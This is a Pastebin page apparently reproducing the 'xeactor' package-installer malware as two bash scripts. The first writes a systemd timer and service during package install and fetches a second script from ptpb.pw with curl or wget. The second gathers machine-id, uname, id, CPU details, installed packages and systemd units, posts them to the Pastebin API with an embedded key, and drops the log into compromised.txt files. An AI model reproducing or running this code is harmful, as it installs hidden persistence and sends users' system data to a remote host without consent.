Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # The content of ~x script
- #!/bin/bash
- # get to the right location
- if [[ -n "$pkgdir" ]]; then
- cd "$pkgdir"
- else
- exit 0
- fi
- be_silent() {
- "$@" >/dev/null 2>&1
- }
- # systemd files
- SYSTEMD_TIMER="[Timer]
- OnCalendar=4d
- Persistent=true
- OnActiveSec=360
- [Install]
- WantedBy=timers.target"
- SYSTEMD_SERVICE="[Unit]
- Type=simple
- ExecStart=/usr/lib/xeactor/u.sh"
- # write systemd files
- mkdir -p usr/lib/systemd/system
- mkdir -p etc/systemd/system/multi-user.target.wants
- echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
- echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
- ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer
- # get the upload script
- mkdir -p usr/lib/xeactor
- if be_silent which curl; then
- curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
- elif be_silent which wget; then
- wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
- else
- exit 0
- fi
- ######################################################################
- # The content of u.sh script
- #!/bin/bash
- function urle() {
- sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
- }
- declare -fx urle
- GID=
- MACHINE_ID="$(cat /etc/machine-id)"
- PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
- upload() {
- up_data="$(echo $1|urle)"
- if [[ "$HTTP_CLIENT" == "curl" ]]; then
- prefix='curl -s --data'
- elif [[ "$HTTP_CLIENT" == "wget" ]]; then
- prefix='wget -O/dev/null -q --post-data'
- fi
- $prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
- }
- if which wget >/dev/null 2>&1; then
- export HTTP_CLIENT=wget
- elif which curl >/dev/null 2>&1; then
- export HTTP_CLIENT=curl
- else
- exit 0
- fi
- cmd_log() { echo "[cmd] \`$@\`:"; "$@" 2>&1; echo; }
- full_log() {
- echo ${MACHINE_ID}
- cmd_log date '+%s'
- cmd_log uname -a
- cmd_log id
- cmd_log lscpu
- cmd_log pacman -Qeq
- cmd_log pacman -Qdq
- cmd_log systemctl list-units
- }
- FULL_LOG="$(full_log)"
- $uploader "$FULL_LOG"
- for x in /root /home/*; do
- if [[ -w "$x/compromised.txt" ]]; then
- echo "$FULL_LOG" > "$x/compromised.txt"
- fi
- done
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement